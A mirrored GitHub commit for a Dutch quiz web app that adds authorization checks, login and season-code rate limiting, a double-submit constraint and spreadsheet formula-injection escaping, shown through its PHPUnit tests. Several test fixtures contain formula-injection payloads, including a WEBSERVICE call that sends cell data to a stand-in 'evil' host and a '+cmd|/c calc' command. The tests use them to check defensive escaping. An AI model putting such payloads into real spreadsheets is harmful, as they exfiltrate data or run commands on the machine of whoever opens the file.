mirror of
https://github.com/MarijnDoeve/TijdVoorDeTest.git
synced 2026-07-14 05:45:18 +02:00
Declare ext-intl/ext-zip requirements and fix security audit findings (#213)
* Declare ext-intl and ext-zip as explicit composer requirements DataExportService uses ZipArchive directly and the Dutch-locale format_datetime Twig filter needs real ext-intl (the polyfill only supports en), but composer.json only declared ext-ctype/ext-iconv. Adding them lets `composer check-platform-reqs` catch a missing extension before a runtime crash. * Add authorization checks to PrepareEliminationController index and viewElimination had no IsGranted guard, unlike every other backoffice/elimination controller, so any authenticated user could prepare or overwrite another season's elimination screens. * Prevent formula injection in spreadsheet exports Answer/candidate text starting with =, +, -, or @ was written to XLSX exports as a live formula rather than plain text. Since seasons can have multiple owners, a co-owner could plant a formula that runs (and can exfiltrate data) when another owner opens the export in Excel. * Add rate limiting to login and season-code entry points Neither /login nor the public season-code guess form (POST /) had any throttling, making both an unlimited brute-force/enumeration oracle. Adds symfony/rate-limiter and enables login_throttling on the main firewall, plus a dedicated per-IP rate limiter on the season-code form. * Add unique constraint to prevent double-submit score inflation A candidate could submit two concurrent POSTs for the same question before either committed, since GivenAnswer had no unique constraint and the "next question" check was subject to a TOCTOU race — each insert was then counted as a correct answer. * Address CodeRabbit review findings Include a Retry-After header on the season-code rate limit, correct stale line references in the security audit doc, and fix a stray comma in the reset-password email.
This commit is contained in:
@@ -117,4 +117,34 @@ final class PrepareEliminationControllerTest extends AbstractControllerWebTestCa
|
||||
|
||||
self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id));
|
||||
}
|
||||
|
||||
public function testIndexIsDeniedForNonOwner(): void
|
||||
{
|
||||
$quiz = $this->getQuizByName('Quiz 1');
|
||||
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare');
|
||||
|
||||
$this->loginAs('test@example.org');
|
||||
|
||||
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [
|
||||
'_token' => $token,
|
||||
]);
|
||||
|
||||
self::assertResponseStatusCodeSame(403);
|
||||
}
|
||||
|
||||
public function testViewEliminationIsDeniedForNonOwner(): void
|
||||
{
|
||||
$quiz = $this->getQuizByName('Quiz 1');
|
||||
$elimination = new Elimination($quiz);
|
||||
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
|
||||
|
||||
$this->entityManager->persist($elimination);
|
||||
$this->entityManager->flush();
|
||||
|
||||
$this->loginAs('test@example.org');
|
||||
|
||||
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id));
|
||||
|
||||
self::assertResponseStatusCodeSame(403);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -11,6 +11,14 @@ use Tvdt\Controller\LoginController;
|
||||
#[CoversClass(LoginController::class)]
|
||||
final class LoginControllerTest extends AbstractControllerWebTestCase
|
||||
{
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
// Login attempts are rate-limited; start each test with a clean quota.
|
||||
self::getContainer()->get('cache.rate_limiter')->clear();
|
||||
}
|
||||
|
||||
public function testLoginPageLoadsWhenNotAuthenticated(): void
|
||||
{
|
||||
$this->client->request(Request::METHOD_GET, '/login');
|
||||
@@ -60,6 +68,30 @@ final class LoginControllerTest extends AbstractControllerWebTestCase
|
||||
self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.');
|
||||
}
|
||||
|
||||
public function testLoginIsThrottledAfterTooManyFailedAttempts(): void
|
||||
{
|
||||
for ($i = 0; $i < 2; ++$i) {
|
||||
$this->client->request(Request::METHOD_GET, '/login');
|
||||
$form = $this->client->getCrawler()->filter('form')->form([
|
||||
'_username' => 'test@example.org',
|
||||
'_password' => 'wrong-password',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
self::assertResponseRedirects('/login');
|
||||
}
|
||||
|
||||
$this->client->request(Request::METHOD_GET, '/login');
|
||||
$form = $this->client->getCrawler()->filter('form')->form([
|
||||
'_username' => 'test@example.org',
|
||||
'_password' => 'wrong-password',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
|
||||
self::assertResponseRedirects('/login');
|
||||
$this->client->followRedirect();
|
||||
self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen');
|
||||
}
|
||||
|
||||
public function testLogoutIsInterceptedByFirewall(): void
|
||||
{
|
||||
$this->loginAs('test@example.org');
|
||||
|
||||
@@ -17,6 +17,14 @@ use Tvdt\Helpers\Base64;
|
||||
#[CoversClass(QuizController::class)]
|
||||
final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||
{
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
|
||||
// Season-code guessing is rate-limited; start each test with a clean quota.
|
||||
self::getContainer()->get('cache.rate_limiter')->clear();
|
||||
}
|
||||
|
||||
private function answerQuestion(Question $question): void
|
||||
{
|
||||
$tomHash = Base64::base64UrlEncode('Tom');
|
||||
@@ -69,6 +77,26 @@ final class QuizControllerTest extends AbstractControllerWebTestCase
|
||||
self::assertResponseRedirects('/krtek');
|
||||
}
|
||||
|
||||
public function testSelectSeasonIsThrottledAfterTooManyAttempts(): void
|
||||
{
|
||||
for ($i = 0; $i < 3; ++$i) {
|
||||
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||
$form = $crawler->filter('form')->form([
|
||||
'select_season[season_code]' => 'aaaaa',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
self::assertResponseRedirects('/');
|
||||
}
|
||||
|
||||
$crawler = $this->client->request(Request::METHOD_GET, '/');
|
||||
$form = $crawler->filter('form')->form([
|
||||
'select_season[season_code]' => 'aaaaa',
|
||||
]);
|
||||
$this->client->submit($form);
|
||||
|
||||
self::assertResponseStatusCodeSame(429);
|
||||
}
|
||||
|
||||
public function testEnterNamePageLoads(): void
|
||||
{
|
||||
$this->client->request(Request::METHOD_GET, '/krtek');
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Tests\Helpers;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Cell;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use PHPUnit\Framework\Attributes\DataProvider;
|
||||
use PHPUnit\Framework\TestCase;
|
||||
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
|
||||
|
||||
#[CoversClass(FormulaInjectionSafeValueBinder::class)]
|
||||
final class FormulaInjectionSafeValueBinderTest extends TestCase
|
||||
{
|
||||
protected function setUp(): void
|
||||
{
|
||||
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
|
||||
}
|
||||
|
||||
protected function tearDown(): void
|
||||
{
|
||||
Cell::setValueBinder(new DefaultValueBinder());
|
||||
}
|
||||
|
||||
/** @return iterable<string, array{string}> */
|
||||
public static function dangerousValueProvider(): iterable
|
||||
{
|
||||
yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)'];
|
||||
yield 'plus-prefixed' => ['+cmd|/c calc'];
|
||||
yield 'minus-prefixed' => ['-2+3'];
|
||||
yield 'at-prefixed' => ['@SUM(1,1)'];
|
||||
}
|
||||
|
||||
#[DataProvider('dangerousValueProvider')]
|
||||
public function testDangerousValuesAreStoredAsPlainStrings(string $value): void
|
||||
{
|
||||
$sheet = new Spreadsheet()->getActiveSheet();
|
||||
$sheet->setCellValue('A1', $value);
|
||||
|
||||
$cell = $sheet->getCell('A1');
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame($value, $cell->getValue());
|
||||
}
|
||||
|
||||
public function testOrdinaryValuesAreUnaffected(): void
|
||||
{
|
||||
$sheet = new Spreadsheet()->getActiveSheet();
|
||||
$sheet->setCellValue('A1', 'Anna en Bram');
|
||||
$sheet->setCellValue('A2', 42);
|
||||
$sheet->setCellValue('A3', true);
|
||||
|
||||
$this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue());
|
||||
$this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType());
|
||||
$this->assertSame(42, $sheet->getCell('A2')->getValue());
|
||||
$this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType());
|
||||
$this->assertTrue($sheet->getCell('A3')->getValue());
|
||||
$this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType());
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
<?php
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Tests\Repository;
|
||||
|
||||
use Doctrine\DBAL\Exception\UniqueConstraintViolationException;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
use Tvdt\Entity\Answer;
|
||||
use Tvdt\Entity\GivenAnswer;
|
||||
use Tvdt\Entity\Question;
|
||||
use Tvdt\Repository\GivenAnswerRepository;
|
||||
|
||||
#[CoversClass(GivenAnswerRepository::class)]
|
||||
final class GivenAnswerRepositoryTest extends DatabaseTestCase
|
||||
{
|
||||
public function testDuplicateGivenAnswerForSameQuestionIsRejected(): void
|
||||
{
|
||||
$krtekSeason = $this->getSeasonByCode('krtek');
|
||||
$candidate = $this->getCandidateBySeasonAndName($krtekSeason, 'Tom');
|
||||
|
||||
$question = $this->questionRepository->findNextQuestionForCandidate($candidate);
|
||||
$this->assertInstanceOf(Question::class, $question);
|
||||
|
||||
$answers = $question->answers;
|
||||
$this->assertGreaterThanOrEqual(2, $answers->count());
|
||||
|
||||
$firstAnswer = $answers->first();
|
||||
$secondAnswer = $answers->get(1);
|
||||
$this->assertInstanceOf(Answer::class, $firstAnswer);
|
||||
$this->assertInstanceOf(Answer::class, $secondAnswer);
|
||||
|
||||
$this->entityManager->persist(new GivenAnswer($candidate, $question->quiz, $firstAnswer));
|
||||
$this->entityManager->flush();
|
||||
|
||||
$this->entityManager->persist(new GivenAnswer($candidate, $question->quiz, $secondAnswer));
|
||||
|
||||
$this->expectException(UniqueConstraintViolationException::class);
|
||||
$this->entityManager->flush();
|
||||
}
|
||||
}
|
||||
@@ -5,6 +5,7 @@ declare(strict_types=1);
|
||||
namespace Tvdt\Tests\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
|
||||
use PHPUnit\Framework\Attributes\CoversClass;
|
||||
@@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase
|
||||
$this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
|
||||
}
|
||||
|
||||
public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||
{
|
||||
$season = $this->getSeasonByCode('krtek');
|
||||
$quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
|
||||
$this->assertInstanceOf(Quiz::class, $quiz);
|
||||
$candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
|
||||
|
||||
/** @var Question $firstQuestion */
|
||||
$firstQuestion = $quiz->questions->first();
|
||||
/** @var Answer $chosenAnswer */
|
||||
$chosenAnswer = $firstQuestion->answers->first();
|
||||
$chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
|
||||
|
||||
$this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
|
||||
$this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
|
||||
$this->entityManager->flush();
|
||||
|
||||
$zip = $this->openZip($this->getUserByEmail('user2@example.org'));
|
||||
$quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
|
||||
$this->assertIsString($quizContent);
|
||||
$zip->close();
|
||||
|
||||
$sheet = $this->loadSheet($quizContent, 'Raw answers');
|
||||
$rows = $sheet->toArray();
|
||||
$header = $rows[0];
|
||||
$questionColumnIndex = array_search($firstQuestion->question, $header, true);
|
||||
$this->assertIsInt($questionColumnIndex);
|
||||
$column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
|
||||
|
||||
$candidateNames = array_column(\array_slice($rows, 1), 0);
|
||||
$rowNumber = 2 + array_search('Claudia', $candidateNames, true);
|
||||
|
||||
$cell = $sheet->getCell($column.$rowNumber);
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||
}
|
||||
|
||||
public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
|
||||
{
|
||||
$season = $this->getSeasonByCode('krtek');
|
||||
|
||||
@@ -4,6 +4,7 @@ declare(strict_types=1);
|
||||
|
||||
namespace Tvdt\Tests\Service;
|
||||
|
||||
use PhpOffice\PhpSpreadsheet\Cell\DataType;
|
||||
use PhpOffice\PhpSpreadsheet\Reader;
|
||||
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||
use PhpOffice\PhpSpreadsheet\Writer;
|
||||
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
|
||||
$this->assertCount(3, $second->answers);
|
||||
}
|
||||
|
||||
public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
|
||||
{
|
||||
$quiz = new Quiz();
|
||||
$question = new Question();
|
||||
$question->question = 'Who missed the assignment?';
|
||||
$question->ordering = 1;
|
||||
$question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
|
||||
$question->addAnswer(new Answer('Bob', isRightAnswer: false));
|
||||
|
||||
$quiz->addQuestion($question);
|
||||
|
||||
$path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
|
||||
|
||||
$sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
|
||||
$cell = $sheet->getCell('B2');
|
||||
|
||||
$this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
|
||||
$this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
|
||||
}
|
||||
|
||||
public function testXlsxToQuizThrowsOnInvalidMimeType(): void
|
||||
{
|
||||
$path = $this->createTempPath('.txt');
|
||||
|
||||
Reference in New Issue
Block a user